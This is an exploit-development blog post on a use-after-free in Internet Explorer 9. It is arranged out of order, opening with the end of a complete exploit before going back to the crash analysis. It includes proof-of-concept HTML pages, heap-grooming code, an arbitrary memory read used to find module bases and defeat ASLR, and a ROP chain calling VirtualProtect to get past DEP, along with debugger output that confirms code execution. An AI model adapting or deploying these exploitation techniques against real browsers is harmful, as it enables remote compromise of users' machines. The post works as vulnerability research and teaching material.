        a = document.createElement("div");
        a.clearAttributes()

        //Step 1
        for(i = 0; i < 0x7ffe; i++) {
            a.setAttribute("attr" + i, null);
        }
        mem = new Array(400);
        // Step 2
        for(i = 0; i < mem.length; i++) {
          mem[i] = a.cloneNode(1);        
        }

        bodies = new Array()
        // Step 3        
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe; i += 0x1000) {
            // Step 3.1
            mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 
            // Step 3.2
            b = document.createElement('body');
            b.title = 'a';
            b.id = 'a';
            b.text = 'a'
            b.bgColor = 1
            b.topMargin = 1
            b.bottomMargin = 1
            b.leftMargin = 1
            b.rightMargin = 4
            b.setAttribute('extra', bodies.length)  // This will actualy give us the index of the body element we are leaking.
            bodies.push(b);
          }
        }
        // Saving the attributes so Garbage Collection wont kill them accidentally 
        document.body.setAttribute('mem', mem)
        document.body.setAttribute('bodies', bodies)
        return true
      }

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        // Step 4
        document.getElementsByTagName('input')[0].focus();

        Found = false
        // Step 6
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe ; i += 0x1000) {
            //Step 7
            if(mem[j].getAttribute("attr" + i).length != 0x45) {
              Found = true
              data = mem[j].getAttribute("attr" + i)
              //Step 9
              LeakInfo = "Size of the attribute is = " + data.length + "\n";
              LeakInfo += "Raw data: \n"
              LeakInfo += escape(data) + "\n\n"; 
              mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
              LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "\n";
              bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
              LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16);
              VariantAnchor = document.createElement('a');

              bodies[bodyindex].setAttribute('extra', VariantAnchor);

              data = mem[j].getAttribute("attr" + i)
              VariantAnchorAddress = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000

              LeakInfo += "\nHeap Address of the Anchor = 0x" + VariantAnchorAddress.toString(16);
              alert(LeakInfo);

              //Adding more attributes frees the 0x90 allocation since it now needs 0xD0 memory.
              bodies[bodyindex].setAttribute('beGone', 1);

              FakeLFH = document.createElement('area'); // to replace the now freed 0x90 
              FakeLFH.shape = "poly"
              // Values set to contain a 'correct' LFH header at the right location
              FakeLFH.coords = "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,84738048,26,27,28,29,30,31,32,33,34";

              //To keep the number of allocation between adding our misaligned address to the cache and re-using it we will do as much as possible at this point.
              AlteredBody = document.createElement('body');
              AlteredBody.title = 'a';
              AlteredBody.id = 'a';
              AlteredBody.text = 'a'
              AlteredBody.topMargin = 1
              AlteredBody.bottomMargin = 1
              AlteredBody.rightMargin = 1
              // We have 6 attributes, adding any more will make it jump to a 0x90 sized allocation

              //Get the address of our 'A' element as a string value, specifically offset 0x50 of the 'A' which contains the .coords values
              VariantAnchorAddressStr = String.fromCharCode((VariantAnchorAddress+0x50) % 0x10000, (VariantAnchorAddress+0x50) / 0x10000);

              //this will be: random + VariantType + 'extra' HashNo + Value + random + enough data 
              //If you are smart you actually add the correct LFH Header between this and the next allocation you are actually overwriting.
              newdata = "AA" + "\u0C01\u8000" + data.charAt(12) + data.charAt(13) + VariantAnchorAddressStr + "\u4242\u4242AAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";


              //Allocating some small strings will re-use the potential cache leaving some room for our misaligned address to fit into the cache as well.
              //This is not the perfect way but it will suffice for this demo
              NumCached = 6;
              for(k = 0; k < NumCached; k++) {
                FakeLFH.setAttribute("cache" + k, new Array(0x40/2).join("A"));
              }

              //Freeing this will add the misaligned address to the OLEAUT32 cache, but the address is still marked as busy in the heap manager
              mem[j].setAttribute("attr" + i, null) 

              // This will make the 0x90 allocation available again
              FakeLFH.coords = null;

              //now we occupy a 0x90 sized allocation.
              AlteredBody.leftMargin = 2;
              AlteredBody.setAttribute('extra', 1);

              // create a few strings containing the correct data. The 2nd one will actually overwrite the attribute data. Has to do with the way we create our strings.
              for(k = 0; k < NumCached; k++) {
                FakeLFH.setAttribute("re-use" + k, newdata);
              }

              //Start reading memory.
              mshtmlBase = getModuleBase(VariantAnchor, AlteredBody, mshtmlAddress)
              kernel32 = getImportedModule(VariantAnchor, AlteredBody, mshtmlBase, "kernel32.dll");
              ntdll = getImportedModule(VariantAnchor, AlteredBody, kernel32, "ntdll.dll");

              alert("mshtml base at 0x" + mshtmlBase.toString(16) + "\nkernel32 base at 0x" + kernel32.toString(16) + "\nntdll base at 0x" + ntdll.toString(16));

              //Time to bypass DEP with the information we learned.
              //ROP chain goes here, stack pivot at offset 0x18. mov ecx, [eax]; call [ecx+0x18];
              //Annoying thing is that we cant just do 'xchg eax, esp ; retn' because we need the value of ecx to be at [eax]
              //I couldnt find a realy clean way to mov ecx into esp. so the end result is somewhat dirty but effective. See below.
              //We like to know the heap address of the ROP chain before we create the ROP chain so it can containing its own address
              //There are only a few ways to allocate memory that you can actually alter without causeing the allocation to be freed and recreated (this happens with almost all strings)
              //Using the image data will work.
              ctx = document.createElement('canvas').getContext('2d');
              img = ctx.createImageData(0x100, 1); //that should be enough for now
              VariantAnchor.setAttribute('ropchain', img)

              //grab the location of the image data from the VariantAnchor Attribute table. (((VariantAnchor+10)+8)+28)+2C)
              roploc = readDword(VariantAnchor, AlteredBody, VariantAnchorAddress + 0x10)
              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x8)
              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x28)
              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x2C)
              alert("Location of ROP Chain = 0x" + roploc.toString(16));     

              //Setting up the ROP chain
              createRopChain(img, roploc, kernel32, ntdll);
              
              //Using a VariantType 0x09 Dispatch will trigger a call [ecx+18] with ECX taken from our fake variant data.
              VariantAnchor.coords = 0x00010009 + "," + 1 + "," + roploc + "," + 1; 
              AlteredBody.getAttribute('extra')();
              
            }
            if(Found) break; //prevent crash from overwritten string size
          }
          if(Found) break; //prevent crash from overwritten string size
        }
      }

      function getModuleBase(a, f, b) {
        //look for word value MZ at every 0x10000 byte downwards
        b = b & 0xFFFF0000
        d = readWord(a, f, b)
        while(d != 0x5a4d) {
          b -= 0x10000;
          d = readWord(a, f, b)
        }
        return b;
      }

      function getImportedModule(a, f, base, modName) {
        //some shortcuts taken here, but MS modules all behave nicely when it comes to PE headers so should be fine for those modules.
        e_lfanew = readWord(a, f, base + 0x3C)
        importTable = readDword(a, f, base + e_lfanew + 0x80)
        var i = 0; 
        while(i < 10) { //only parsing 10 imported modules, change this if you need something more exotic
          //read up on PE File headers if you wonder whats going on here.
          moduleNameAddr = readDword(a, f, base + importTable + (i * 0x14) + 0xC)
          moduleName = readString(a, f, base + moduleNameAddr);
          moduleName = moduleName.toLowerCase();
          if(moduleName == modName.toLowerCase()) {
            importRVA = readDword(a, f, base + importTable + (i * 0x14) + 0x10);
            SomeFunctionAddr = readDword(a, f, base + importRVA);
            ModBase = getModuleBase(a, f, SomeFunctionAddr)
            return ModBase
          }
          i += 1;
        }
        return;
      }

      function readDword(a, f, addr) {
        //Variant type 0x13 with 0x4000 being 'ByRef'
        //Setting up the fake Variant values
        //XXXX4013 YYYYYYYY DATAPTR YYYYYYYY
        a.coords = 0x00014013 + "," + 1 + "," + addr + "," + 1;        
        return parseInt(f.getAttribute('extra'));
      }

      function readWord(a, f, addr) {
        //Variant type 0x12 with 0x4000 being 'ByRef'
        a.coords = 0x00014012 + "," + 1 + "," + addr + "," + 1;        
        return parseInt(f.getAttribute('extra'));
      }

      function readString(a, f, addr) {
        // For some reason we cant convert an 0x1F variant type to type 0x8 (used in javascript) so we will just read it as UI4 and convert from there.
        done = false
        result = '';
        while(!done) {
          a.coords = 0x00014013 + "," + 1 + "," + addr + "," + 1;
          val = parseInt(f.getAttribute('extra'));
          //should give us 4 bytes.
          for(i = 0; i < 4; i++) {
            bytecode = (val >> (i * 8)) & 0xFF;
            if(bytecode == 0) {
              done = true;
              break;
            }
            else {
              result += String.fromCharCode(bytecode);
            }
          }
          addr += 4;
        }
        return result;
      }

      function createRopChain(imgd, address, kernel32, ntdll) {
        data = imgd.data;
        writeDword(imgd, 0, address - 0x14)  // mov ecx, [eax] //this frustrates our stack pivot slightly. Or we should pivot on ECX
                                             // control comes through call [ecx+0x18]
        writeDword(imgd, 0x4, ntdll + 0x550C8);// xchg eax,esp ; add [eax],eax ; pop edi ; pop esi ; pop ebp ; retn 0x0C
        writeDword(imgd, 0xC, kernel32 + 0x110c8); // VirtusalProtect (you should look this up in the export table, not use hard coded stuff. Same goes for pivot.)
        writeDword(imgd, 0x1C, address + 0x30); // retn address after VirtualProtect
        writeDword(imgd, 0x20, address); // address parameter for VirtualProtect
        writeDword(imgd, 0x24, 0x4000); // size parameter
        writeDword(imgd, 0x28, 0x40); // RWX protect
        writeDword(imgd, 0x2c, address + 0x8); // Can safely write here
        writeDword(imgd, 0x30, 0xCCCCCCCC); // Shellcode ...
      }

      function writeDword(imgd, offset, value) {
        data = imgd.data;
        data[offset + 0] = value & 0xFF
        data[offset + 1] = value >> 8 & 0xFF
        data[offset + 2] = value >> 16 & 0xFF
        data[offset + 3] = value >> 24 & 0xFF
      }


    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

Running this should give you

(914.1f4): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000000 ecx=446f0000 edx=0275e148 esi=772350c8 edi=161b985c
eip=161b98a0 esp=161b98a0 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
161b98a0 cc              int     3
1:020> !address esp
Usage:                  Heap
Base Address:           161b9000
End Address:            161be000
Region Size:            00005000
State:                  00001000	MEM_COMMIT
Protect:                00000040	PAGE_EXECUTE_READWRITE
Type:                   00020000	MEM_PRIVATE
Allocation Base:        16160000
Allocation Protect:     00000004	PAGE_READWRITE
More info:              heap owning the address: !heap 0x160000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x161b98a0

11-shellcode

We have done it! Increment a single byte of memory and we own the whole process!

There are other ways, and my plan was to write up another one, but given the length of this blog I doubt many people make it all the way to the end without falling asleep so I’m keeping it at just this.
If you enjoy this type of exploitation and want to learn more our Vulnerability Development Master Course contains among other things a section on advanced browser exploitation.

- Peter Vreugdenhil / @WTFuzz

A browser is only as strong as its weakest byte

Back in September, FireEye posted a blog entry discussing CVE-2013-3147, a vulnerability in Microsoft Internet Explorer. They pointed out that Microsoft patched the issue on July 9th in Bulletin MS13-055. While reading their post it dawned on me that I had discovered a similar issue as far back as January this year. The usage of the onbeforeeditfocus event was what caught my attention, and upon installing the aforementioned patch from Microsoft, I confirmed that they silently fixed my bug, too. As we at Exodus had been shipping an exploit to our customers for this issue since January, we figured an adequate amount has time has passed and we can now share some details here on our blog.

The vulnerability we discovered was also an use-after-free vulnerability (as is often the case with browser issues) that involved event handlers and some other miscellaneous Javascript constructs. The exploit I wrote bypassed ASLR through a forced memory disclosure and Data Execution Prevention through the usual ROP chain trickery. The actual exploit is non-trivial, so bear with me with me and expect some minimal shortcuts to be taken in the following explanation.

The Crash

First of all, lets dump a poc that causes the crash:

<!doctype html>
<HTML>
  <head>
    <script>
      function setinput() {
        try { document.write('Timber'); } catch(e) {}
      }
      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        document.getElementsByTagName('input')[0].focus();
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

If you open this file in Internet Explorer 9 (from a website, not as a local file) you might get a crash that looks like this:

This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00000010 edx=0000006a esi=00000000 edi=00000000
eip=71e0e0d0 esp=0327cb8c ebp=0327cb98 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSHTML!CHTMLEditor::FireOnSelectionChange+0xb:
71e0e0d0 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000010=????????
1:019> ub
MSHTML!CSelectionManager::EndSelectionChange+0x8e:
71e0e0c4 90              nop
MSHTML!CHTMLEditor::FireOnSelectionChange:
71e0e0c5 8bff            mov     edi,edi
71e0e0c7 55              push    ebp
71e0e0c8 8bec            mov     ebp,esp
71e0e0ca 51              push    ecx
71e0e0cb 51              push    ecx
71e0e0cc 53              push    ebx
71e0e0cd 8d4f10          lea     ecx,[edi+10h]

This might look like it is a NULL-pointer dereference: edi == NULL; ecx gets set to edi + 0×10; and then ecx is dereferenced. Since, as far as I know, NULL pointer dereference vulnerabilities are not exploitable in Internet Explorer this does not look useful. But this is not the actual crash, and to see where things first go wrong we simply turn on pageheap and user mode stack trace database for iexplore.exe.

gflags.exe /i iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000
    ust - Create user mode stack trace database
    hpa - Enable page heap

Running the poc again gives us the following information:

(87c.fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00008000 ebx=0e62afd8 ecx=7746389a edx=02bb10d0 esi=ffffffff edi=0ed3af38
eip=71e43f37 esp=08c9caa0 ebp=08c9cab8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e43f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:0ed3af70=????????


1:019> lmi vm mshtml
    File version:     9.0.8112.16446

1:021> k
ChildEBP RetAddr  
08c9cab8 71e43ed1 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52
08c9cacc 71e43e85 MSHTML!CSelectionManager::ShouldElementShowUIActiveBorder+0x2e
08c9cae4 71e4308f MSHTML!CSelectionManager::SetEditContext+0xdf
08c9cb50 71cce2fd MSHTML!CSelectionManager::SetEditContextFromElement+0x34e
08c9cb90 71ccdb7d MSHTML!CSelectionManager::SetEditContextFromCurrencyChange+0x2d6
08c9cbb8 71ef200f MSHTML!CSelectionManager::Notify+0x1e0
08c9cbcc 71ef1fc2 MSHTML!CHTMLEditor::Notify+0x5a
08c9cbe8 71ccce15 MSHTML!CHTMLEditorProxy::Notify+0x21
08c9ccd0 71d9a7a4 MSHTML!CDoc::SetCurrentElem+0x525
08c9cd2c 71ccdef8 MSHTML!CElement::BecomeCurrent+0x1d6
08c9cd60 71c51018 MSHTML!CElement::focusHelperInternal+0x109
08c9cd78 710d85fe MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x58
08c9cdac 71116402 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9ce00 08d804da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117
WARNING: Frame IP not in any known module. Following frames may be wrong.
08c9ce58 710d85fe 0x8d804da
08c9ce94 710d8523 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9cef8 710d845a jscript9!Js::JavascriptFunction::CallRootFunction+0xb6
08c9cf34 710d83e6 jscript9!ScriptSite::CallRootFunction+0x4f
08c9cf5c 71119c8d jscript9!ScriptSite::Execute+0x63
08c9cfc0 71df27b9 jscript9!ScriptEngine::Execute+0x11a
08c9d044 71df26e3 MSHTML!CListenerDispatch::InvokeVar+0x12a
08c9d064 71e4d050 MSHTML!CListenerDispatch::Invoke+0x40
08c9d0e8 71d4e894 MSHTML!CEventMgr::_InvokeListeners+0x187
08c9d110 71e4d147 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc
08c9d2d4 71edc03c MSHTML!CEventMgr::Dispatch+0x3cc
08c9d2fc 71df2ab0 MSHTML!CEventMgr::DispatchEvent+0xc9
08c9d330 71dc4062 MSHTML!COmWindowProxy::Fire_onload+0x123
08c9d394 71dc3c7a MSHTML!CMarkup::OnLoadStatusDone+0x5eb
08c9d3b4 71dc3c6f MSHTML!CMarkup::OnLoadStatus+0xb6
08c9d804 71d2ffbc MSHTML!CProgSink::DoUpdate+0x5dc
08c9d814 71eaa339 MSHTML!CProgSink::OnMethodCall+0x12
08c9d850 71ec9ba0 MSHTML!GlobalWndOnMethodCall+0x115

1:020> ub
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x36:
call    MSHTML!EdUtil::FireOnEvent
mov     dword ptr [ebp-8],eax
shl     eax,0Fh

I wont be going into the details and root cause analysis for this crash but will mainly focus exploitation, but the main concept is that the body.onload() function triggers the onbeforeeditfocus handler to be called and the function apparently deletes some important data that causes a crash once we return from the ‘FireOnEvent’ function.

Unfortunately the VM I’m playing on has an windbg version that sometimes fails the user stack trace lookup, so I cannot show you that trace at this point. I can tell you the size of the allocation however, thanks to Fermin’s subtraction technique:

1:019> .printf "size is 0x%x", 1000 - edi & 0xFFF
size is 0xc8

So we know we are freeing a size 0xC8 piece of memory that contains some data that is being reused later on. Time to assess the exploitability of this issue, and mainly the exploitability when running with full process ASLR (no cheating as many public exploits these days seem to do).

First off all we need to check if we can replace the freed memory with our own data. Thanks to the Low Fragmentation Heap (LFH) this is pretty easy, by simply allocating 0xC8 bytes after the document.write() call we should re-occupy the last freed slot of 0xC8 sized memory. To make sure this allocation size uses the LFH allocator we make a few allocation of this size before we start the whole fun.

Setting a breakpoint at the initial crash location allows us to inspect our progress (don’t forget to turn off PageHeap to make sure the LFH allocator will be activated).

Actually, if at this point you want to stop reading and try to create the exploit yourself, go ahead and do so as spoilers are on the way.

Control

Back to the progress: taking control over freed memory:

<!doctype html>
<HTML>
  <head>
    <script>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');
        lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
      }

      function setinput() {
        try { document.write('Timber'); } catch(e) {}
        d = document.createElement('div');
        d.className = "\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF";
      }

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        document.getElementsByTagName('input')[0].focus();
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

Lets run this and watch the effects:

1:019> bp !mshtml + 0x383f37  ".printf \"AFTER FireOnEvent : edi %p\", edi; .echo; dc edi L0xc8/4;.echo;"
AFTER FireOnEvent : edi 1072a440
1072a440  71eb2d04 71eb320c 00000002 106f4920  .-.q.2.q.... Io.
1072a450  106eff10 106eff38 107309a0 00000000  ..n.8.n...s.....
1072a460  107308e0 00000000 00000000 0000000f  ..s.............
1072a470  00000001 00000000 00908002 00000000  ................
1072a480  00000000 00000000 00000000 00000000  ................
1072a490  106c3dc0 00000000 ffffffff 00000000  .=l.............
1072a4a0  00000000 00000000 00000000 00000000  ................
1072a4b0  00000000 107309a0 00000000 00000000  ......s.........
1072a4c0  00000000 106c3dc0 1072cd88 1072ce40  .....=l...r.@.r.
1072a4d0  00000000 106efe20 106efe48 106efe70  .... .n.H.n.p.n.
1072a4e0  106efe98 106efec0 106efee8 00000000  ..n...n...n.....
1072a4f0  00000000 00000000 00000000 00000000  ................
1072a500  00000000 00000000                    ........

eax=00008000 ebx=107309a0 ecx=00000000 edx=00000001 esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330cca8 ebp=1330ccc0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=02809000
1:019> g
AFTER FireOnEvent : edi 1072a440
1072a440  ffffffff ffffffff ffffffff ffffffff  ................
1072a450  ffffffff ffffffff ffffffff ffffffff  ................
1072a460  ffffffff ffffffff ffffffff ffffffff  ................
1072a470  ffffffff ffffffff ffffffff ffffffff  ................
1072a480  ffffffff ffffffff ffffffff ffffffff  ................
1072a490  ffffffff ffffffff ffffffff ffffffff  ................
1072a4a0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4b0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4c0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4d0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4e0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4f0  ffffffff ffffffff ffffffff ffffffff  ................
1072a500  ffffffff 0000ffff                    ........

eax=00008000 ebx=10730a60 ecx=0000005d edx=0000005c esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330c960 ebp=1330c978 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=ffffffff

As can be seen we have successfully taken over the freed memory allocation (the breakpoint hits twice and the 2nd time is when it was originally freed memory) and are now operating on data under our control. Next question is: “What now?”. First of all this does not seem to be one of those easy ‘control virtual function table and then control program flow’ style use-after-frees. At this point you should probably dig deeper and look into what the object/memory is supposed to be before it is freed to gain more insight and what route to take toward exploitation, but we wont do that to spare you some reading and me a lot of typing. It is also possible to create different types of crashes that might give you faster vftable control, but we’ll be working with this version since it allows us to do funny things.

We will start to just look at the function at the point of the crash and work from them under the assumption that we control the memory in [edi]. Opening the crash location and selecting ‘edi’ at the crash point shows us that edi comes from eax at the beginning of the function.

1-edi-assigned

We also see that the result of the ‘EdUtil::FireOnEvent’ call is used to determine a jump at the end of the basic block:

2-eax-jnz

The result of the function is ’1′ resulting in the the jnz not being taken and the function ending shortly after that without using the freed data again. Of course, you really need to dig into the function and find out why it returns 1 and not 0 which gives you much more exploitation flexibility, but again: shortcut time, we’re not doing that here.

3-jnz-to-retn

We’ll need to go up a few function to find a place where the freed memory is being accessed again. You can use the call stack or code cross references in IDA to do that, or step through it in WinDBG, whichever you prefer. You should be able to figure out that in “MSHTML!CSelectionManager::SetEditContext+0xf2:” the memory is used again, but nothing thereabouts seems to be too useful:


71e03e93 836738f7        and     dword ptr [edi+38h],0FFFFFFF7h ds:002b:0083b968=ffffffff

Tracing further will tell you that you’ve ended up inside CSelectionManager::EndSelectionChange with controlled memory being set to eax just before the call:

4-Call-EndSelection

This is where things get interesting. If you need a break from my ramblings I suggest you take a look at the function, assuming that you can control the data in eax at the beginning of the function and find an interesting path through to the epilogue. When working in a fully-ASLRed process there are a few ways that I can currently think of that will not crash:

  1. Replace freed objects with other objects so virtual calls are correctly resolved into a module
  2. Avoid any and all virtual function calls
  3. use USER_SHARE_DATA to call LdrHotPatchRoutine

I have created a PNG of the whole function by taking a few screenshots and pasting them together in a graphics editor, mspaint.exe (there are probably better approaches to that but, hey, this worked). Use right click: open in new tab/window if your screen size isn’t big enough to read it when you click it normally.

5-Full-EndSelection

I highlighted ‘esi’ in the function since that is the register that points to our data. The thing that caught my eye when I was looking at this was the following code:

.text:63904388 loc_63904388:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)-22579Fj
.text:63904388                 mov     esi, [esi+0Ch]
.text:6390438B                 test    eax, eax
.text:6390438D                 jnz     loc_6378E064
.text:63904393                 inc     dword ptr [esi+0A0h]
.text:63904399                 jmp     loc_639B2DD2

If we can reach that block without crashing and with eax set to the correct value (0×0) we can INCrement whatever memory address that we want. This seems somewhat limited but we’ll get back to that later. First lets try to reach that block and once we reach the problematic situation we can worry about actual pursuit of exploitation.

If we slowly step through the function we will see what values we need to have in our controlled memory to be able to reach the code without crashing. If you at this point are working with a non-ASLR library you want to take a different path that leads to a virtual function table call with the pointer under your control, but that’s not what we are after.

Stepping through the function show us:

.text:639B2DAE                 dec     dword ptr [esi+90h]
.text:639B2DB4                 mov     eax, [esi+90h]
...
.text:639B2DC3                 test    eax, eax
.text:639B2DC5                 short loc_639B2DD2

[esi+0x90] should be 0×1 at the beginning.

.text:6390282A loc_6390282A:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)+15j
.text:6390282A                 shl     ecx, 4
.text:6390282D                 xor     ecx, [esi+3Ch]
.text:63902830                 and     ecx, 10h
.text:63902833                 xor     [esi+3Ch], ecx
.text:63902836                 jmp     loc_639B2DC3
.
.
.
.text:639B2DC7                 mov     eax, [esi+3Ch]
.text:639B2DCA                 test    al, 10h
.text:639B2DCC                 jnz     loc_63904352

[esi+0x3C] need to pass some test for 0×10, so we’ll just poke at that until it complies.

The block of code we want to reach requires eax to be 0×0 to take the right jump. For this to happen we need to trace back where eax is being set and figure out which path we need to walk to get there. There are two places right above the block we want to reach that can set eax:

loc_6378D607:
mov     eax, edi

and 

.text:6390437C                 test    byte ptr [esi+3Ch], 2
.text:63904380                 jnz     loc_6378D607
.text:63904386                 xor     eax, eax

A little inspection show that edi will be non zero at the point where edi is moved to eax, so the only route we can take is the ‘xor eax, eax’ path. To reach this we need to survive through additional functions:
CSelectionManager::GetTrackerType‘ and ‘CSelectionManager::ShouldCaretBeInteractive‘ and both need to return the right return values. This can be achieved without too much hassle.

CSelectionManager::GetTrackerType should return either 1 or 2 which can be achieved by having our data + 0×50 point to memory where at offset 0xC you can find the value 0×1 or 0×2:

6-CTrackerType

The other function: CSelectionManager::ShouldCaretBeInteractive, is a little bit more complex, but can also be navigated through without the process crashing. I will not sit you through that but instead will point out that you can find a value of 0×1 inside the USER_SHARE_DATA at a 0x7ffe0240. I think it’s about time to test a proof of concept that will allow us to INC dword ptr [0xCONTROLLED] and then go from there.

To do this we need to be able allocate an 0xC8-sized piece of memory and fill it with data under our control including values of \u0000 (we need 0×1 at offset +0×90). The element.className trick we used in our previous sample wont cut it since the string will terminate at the first \u0000 it encounters. There are however plenty more way to have some fun with the heap in Internet Explorer 9. One of the tricks I like to use consists of the following lines of code:

a = document.createElement('area');
a.shape = 'poly';
a.coords = '1,2,3,4,5,6,7,8,9,10';

This snippet creates an AREA element, set its shape to be a polygon and then assigns a list of points (x,y) to its ‘coord’ property. This results in an allocation that consists of:
[NUMBER_OF_POINTS][X][Y][X][Y] …. with all the values converted to hex double words. Using this we do not control the first 4 bytes of the allocation but we’ll be able to easily control the rest and set it to values we want. This results in the proof of concept shown below:

<!doctype html>
<HTML>
	<head>
		<script>
			lfh = new Array(20);
			for(i = 0; i < lfh.length; i++) {
				lfh[i] = document.createElement('div');
				lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
			}

			function setinput() {
				try { document.write('Timber'); } catch(e) {}
				d = document.createElement('area');
				d.shape = "poly"
				d.coords = "1,2,606348324,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
			}

			function loaded() {
				document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
				document.getElementsByTagName('input')[0].focus();
			}
		</script>
	</head>
	<body onload="loaded();">
		<input value="ExodusIntel" type="text"></input>
	</body>
</html>

This cause the following crash in IE:

(638.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=131ec89c edx=00000033 esi=24242424 edi=00000001
eip=71e04393 esp=131ec8a0 ebp=131ec8d8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSHTML!CSelectionManager::EndSelectionChange+0x87:
71e04393 ff86a0000000    inc     dword ptr [esi+0A0h] ds:002b:242424c4=????????

So there you have it, our exploit primitive allows us to INCrement data at a single 4 byte address of our choosing. Is that enough to

  1. Force a memory disclosure needed to bypass ASLR
  2. Control the flow of the execution with enough control to bypass DEP

The answer is of course Yes, otherwise I wouldn’t be writing this blog. As a matter of fact, I found two somewhat distinct ways to do this.

And…. my time is up for this week. I will write the follow up with at least one exploit and publish it next week after Thanksgiving, anyone who sends me either a workable idea, or even better, an actual working exploit will get a shoutout in Part 2.

A few notes on the exploit I wrote:

